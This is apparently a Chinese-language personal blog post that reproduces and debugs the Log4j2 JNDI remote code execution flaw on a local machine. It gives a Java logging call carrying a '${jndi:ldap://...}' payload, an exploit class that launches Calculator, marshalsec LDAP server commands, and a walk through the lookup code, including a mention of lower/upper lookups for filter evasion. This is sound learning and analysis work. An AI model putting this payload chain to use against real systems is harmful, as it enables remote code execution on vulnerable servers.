VA - Log4j2 RCE

漏洞预警发布的第一天,网上就已经有了poc了,也算是火出圈了,受影响的服务真的是太多了。本打算第二天调试后便写一写记录,结果一直因为各种事拖到今天,读研真是太难了。

复现

从零开始,Steps

从IDEA里新建一个project,选择maven项目,不使用模板,默认创建就好。然后新建需要的测试类,exp的类可以随意放,这里我为了方便就放到同一目录下了,这是最终的目录结构

image-20211214173249211

其中log4j代码:

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
public static Logger log = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
log.error("${jndi:ldap://127.0.0.1:9999/Exploit}");
}
}

Exploit代码(简单弹个计算器):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;

public class Exploit{
public Exploit() {
try {
String cmd = "open -a /System/Applications/Calculator.app";
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}

}

利用marshalsec进行jndi注入,首先javac编译生成class文件,再启动一个临时http服务

1
python3 -m http.server 8888
image-20211214175110927

然后

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/\#Exploit 9999
image-20211214175019635

最后执行log4j:main()

image-20211214175344848

这里有一个很奇怪的情况,python启起来的http服务并不会显示marshalsec转发过来的请求

调用栈

image-20211214193423862

入口函数为logIfEnabled,除了error调用之外,还有info、debug、fatal、log、trace、warn

image-20211214193516207

但在测试后发现,以trace为例子,在这里的intLevel会导致返回false,从而直接结束整个代码流程

image-20211214194632121

这里的this.intLevel应该是默认的200,而level.intLevel具体为:

Standard Level intLevel
OFF 0
FATAL 100
ERROR 200
WARN 300
INFO 400
DEBUG 500
TRACE 600
ALL Integer.MAX_VALUE

所以网上说的大部分能触发是有问题的(当然,修订过配置的另说🥺),默认情况下fatal和error可以触发

言归正传,根据调用栈,跟着走一遍大概就能理清楚整个流程

这里主要记录下核心的关键点,一是format函数

image-20211214200656183

主要是看到下断点这里,他对${这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发下面流程中的替换机制(this.config.getStrSubstitutor.replace)

image-20211214201000993

来看详细的函数内初始化情况

image-20211214201314019

可以看到其定义了prefixMatcher为[$, {],suffixMatcher为[}],这里的目的是把${}中间的字符串抠出来,以将varName的值赋为jndi:ldap://127.0.0.1:9999/Exploit,并随后传递给this.resolveVariable(),而这个函数又做了一件什么事呢,看下面

image-20211214204056033

支持的resolver有date、java、marker、ctx、lower、upper、jndi、main、jvmrunargs、sys、env、log4j,其中lower和upper也是后面用来绕过常用的方法,更进一步

image-20211214204305707

可以看到这里是写死了匹配第一个:的,作为prefix,然后会对应去找其实现,我这里是jndi,故后续都是走的JndiLookup类,后续如图,直到调用原生lookup函数

image-20211214204552398

至此结束

总结

这应该算得上是我第一次学习和调试Java 1day,有很多都是边学边查边理解边写,也许还有很多理解有误的地方,等以后精进了之后再回来读和反思,这也是记录的目的之一。只希望自己能够坚持下来,一定能有收获!加油🤩